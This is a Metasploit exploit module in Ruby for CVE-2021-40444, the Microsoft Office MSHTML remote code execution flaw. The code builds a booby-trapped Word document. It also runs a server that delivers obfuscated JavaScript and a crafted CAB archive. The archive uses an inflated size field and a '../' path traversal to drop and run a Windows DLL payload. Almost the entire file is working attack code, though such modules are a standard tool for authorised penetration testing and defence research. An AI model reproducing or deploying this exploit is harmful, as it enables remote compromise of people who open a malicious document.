## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super( update_info( info, 'Name' => 'Microsoft Office Word Malicious MSHTML RCE', 'Description' => %q{ This module creates a malicious docx file that when opened in Word on a vulnerable Windows system will lead to code execution. This vulnerability exists because an attacker can craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine. }, 'References' => [ ['CVE', '2021-40444'], ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444'], ['URL', 'https://www.sentinelone.com/blog/peeking-into-cve-2021-40444-ms-office-zero-day-vulnerability-exploited-in-the-wild/'], ['URL', 'http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf'], ['URL', 'https://github.com/lockedbyte/CVE-2021-40444/blob/master/REPRODUCE.md'], ['URL', 'https://github.com/klezVirus/CVE-2021-40444'] ], 'Author' => [ 'lockedbyte ', # Vulnerability discovery. 'klezVirus ', # References and PoC. 'thesunRider', # Official Metasploit module. 'mekhalleh (RAMELLA S├ębastien)' # Zeop-CyberSecurity - code base contribution and refactoring. ], 'DisclosureDate' => '2021-09-23', 'License' => MSF_LICENSE, 'Privileged' => false, 'Platform' => 'win', 'Arch' => [ARCH_X64], 'Payload' => { 'DisableNops' => true }, 'DefaultOptions' => { 'FILENAME' => 'msf.docx' }, 'Targets' => [ [ 'Hosted', {} ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [UNRELIABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptBool.new('OBFUSCATE', [true, 'Obfuscate JavaScript content.', true]) ]) register_advanced_options([ OptPath.new('DocxTemplate', [ false, 'A DOCX file that will be used as a template to build the exploit.' ]), ]) end def bin_to_hex(bstr) return(bstr.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join) end def cab_checksum(data, seed = "\x00\x00\x00\x00") checksum = seed bytes = '' data.chars.each_slice(4).map(&:join).each do |dword| if dword.length == 4 checksum = checksum.unpack('C*').zip(dword.unpack('C*')).map { |a, b| a ^ b }.pack('C*') else bytes = dword end end checksum = checksum.reverse case (data.length % 4) when 3 dword = "\x00#{bytes}" when 2 dword = "\x00\x00#{bytes}" when 1 dword = "\x00\x00\x00#{bytes}" else dword = "\x00\x00\x00\x00" end checksum = checksum.unpack('C*').zip(dword.unpack('C*')).map { |a, b| a ^ b }.pack('C*').reverse end # http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf def create_cab(data) cab_cfdata = '' filename = "../#{File.basename(@my_resources.first)}.inf" block_size = 32768 struct_cffile = 0xd struct_cfheader = 0x30 block_counter = 0 data.chars.each_slice(block_size).map(&:join).each do |block| block_counter += 1 seed = "#{[block.length].pack('S')}#{[block.length].pack('S')}" csum = cab_checksum(block, seed) vprint_status("Data block added w/ checksum: #{bin_to_hex(csum)}") cab_cfdata << csum # uint32 {4} - Checksum cab_cfdata << [block.length].pack('S') # uint16 {2} - Compressed Data Length cab_cfdata << [block.length].pack('S') # uint16 {2} - Uncompressed Data Length cab_cfdata << block end cab_size = [ struct_cfheader + struct_cffile + filename.length + cab_cfdata.length ].pack('L<') # CFHEADER (http://wiki.xentax.com/index.php/Microsoft_Cabinet_CAB) cab_header = "\x4D\x53\x43\x46" # uint32 {4} - Header (MSCF) cab_header << "\x00\x00\x00\x00" # uint32 {4} - Reserved (null) cab_header << cab_size # uint32 {4} - Archive Length cab_header << "\x00\x00\x00\x00" # uint32 {4} - Reserved (null) cab_header << "\x2C\x00\x00\x00" # uint32 {4} - Offset to the first CFFILE cab_header << "\x00\x00\x00\x00" # uint32 {4} - Reserved (null) cab_header << "\x03" # byte {1} - Minor Version (3) cab_header << "\x01" # byte {1} - Major Version (1) cab_header << "\x01\x00" # uint16 {2} - Number of Folders cab_header << "\x01\x00" # uint16 {2} - Number of Files cab_header << "\x00\x00" # uint16 {2} - Flags cab_header << "\xD2\x04" # uint16 {2} - Cabinet Set ID Number cab_header << "\x00\x00" # uint16 {2} - Sequential Number of this Cabinet file in a Set # CFFOLDER cab_header << [ # uint32 {4} - Offset to the first CFDATA in this Folder struct_cfheader + struct_cffile + filename.length ].pack('L<') cab_header << [block_counter].pack('S<') # uint16 {2} - Number of CFDATA blocks in this Folder cab_header << "\x00\x00" # uint16 {2} - Compression Format for each CFDATA in this Folder (1 = MSZIP) # increase file size to trigger vulnerability cab_header << [ # uint32 {4} - Uncompressed File Length ("\x02\x00\x5C\x41") data.length + 1073741824 ].pack('L<') # set current date and time in the format of cab file date_time = Time.new date = [((date_time.year - 1980) << 9) + (date_time.month << 5) + date_time.day].pack('S') time = [(date_time.hour << 11) + (date_time.min << 5) + (date_time.sec / 2)].pack('S') # CFFILE cab_header << "\x00\x00\x00\x00" # uint32 {4} - Offset in the Uncompressed CFDATA for the Folder this file belongs to (relative to the start of the Uncompressed CFDATA for this Folder) cab_header << "\x00\x00" # uint16 {2} - Folder ID (starts at 0) cab_header << date # uint16 {2} - File Date (\x5A\x53) cab_header << time # uint16 {2} - File Time (\xC3\x5C) cab_header << "\x20\x00" # uint16 {2} - File Attributes cab_header << filename # byte {X} - Filename (ASCII) cab_header << "\x00" # byte {1} - null Filename Terminator cab_stream = cab_header # CFDATA cab_stream << cab_cfdata end def generate_html uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.cab" inf = "#{File.basename(@my_resources.first)}.inf" file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'CVE-2021-40444', 'cve_2021_40444.js') js_content = ::File.binread(file_path) js_content.gsub!('REPLACE_INF', inf) js_content.gsub!('REPLACE_URI', uri) if datastore['OBFUSCATE'] print_status('Obfuscate JavaScript content') js_content = Rex::Exploitation::JSObfu.new js_content js_content = js_content.obfuscate(memory_sensitive: false) end html = '' html end def get_file_in_docx(fname) i = @docx.find_index { |item| item[:fname] == fname } unless i fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}") end @docx.fetch(i)[:data] end def get_template_path datastore['DocxTemplate'] || File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-40444', 'cve-2021-40444.docx') end def inject_docx document_xml = get_file_in_docx('word/document.xml') unless document_xml fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/document.xml') end document_xml_rels = get_file_in_docx('word/_rels/document.xml.rels') unless document_xml_rels fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/_rels/document.xml.rels') end uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.html" @docx.each do |entry| case entry[:fname] when 'word/document.xml' entry[:data] = document_xml.to_s.gsub!('TARGET_HERE', uri.to_s) when 'word/_rels/document.xml.rels' entry[:data] = document_xml_rels.to_s.gsub!('TARGET_HERE', "mhtml:#{uri}!x-usc:#{uri}") end end end def normalize_uri(*strs) new_str = strs * '/' new_str = new_str.gsub!('//', '/') while new_str.index('//') # makes sure there's a starting slash unless new_str[0, 1] == '/' new_str = '/' + new_str end new_str end def on_request_uri(cli, request) header_cab = { 'Access-Control-Allow-Origin' => '*', 'Access-Control-Allow-Methods' => 'GET, POST, OPTIONS', 'Cache-Control' => 'no-store, no-cache, must-revalidate', 'Content-Type' => 'application/octet-stream', 'Content-Disposition' => "attachment; filename=#{File.basename(@my_resources.first)}.cab" } header_html = { 'Access-Control-Allow-Origin' => '*', 'Access-Control-Allow-Methods' => 'GET, POST', 'Cache-Control' => 'no-store, no-cache, must-revalidate', 'Content-Type' => 'text/html; charset=UTF-8' } if request.method.eql? 'HEAD' if request.raw_uri.to_s.end_with? '.cab' send_response(cli, '', header_cab) else send_response(cli, '', header_html) end elsif request.method.eql? 'OPTIONS' response = create_response(501, 'Unsupported Method') response['Content-Type'] = 'text/html' response.body = '' cli.send_response(response) elsif request.raw_uri.to_s.end_with? '.html' print_status('Sending HTML Payload') send_response_html(cli, generate_html, header_html) elsif request.raw_uri.to_s.end_with? '.cab' print_status('Sending CAB Payload') send_response(cli, create_cab(@dll_payload), header_cab) end end def pack_docx @docx.each do |entry| if entry[:data].is_a?(Nokogiri::XML::Document) entry[:data] = entry[:data].to_s end end Msf::Util::EXE.to_zip(@docx) end def unpack_docx(template_path) document = [] Zip::File.open(template_path) do |entries| entries.each do |entry| if entry.name.match(/\.xml|\.rels$/i) content = Nokogiri::XML(entry.get_input_stream.read) if entry.file? elsif entry.file? content = entry.get_input_stream.read end vprint_status("Parsing item from template: #{entry.name}") document << { fname: entry.name, data: content } end end document end def primer print_status('CVE-2021-40444: Generate a malicious docx file') @proto = (datastore['SSL'] ? 'https' : 'http') if datastore['SRVHOST'] == '0.0.0.0' datastore['SRVHOST'] = Rex::Socket.source_address end template_path = get_template_path unless File.extname(template_path).match(/\.docx$/i) fail_with(Failure::BadConfig, 'Template is not a docx file!') end print_status("Using template '#{template_path}'") @docx = unpack_docx(template_path) print_status('Injecting payload in docx document') inject_docx print_status("Finalizing docx '#{datastore['FILENAME']}'") file_create(pack_docx) @dll_payload = Msf::Util::EXE.to_win64pe_dll( framework, payload.encoded, { arch: payload.arch.first, mixed_mode: true, platform: 'win' } ) end end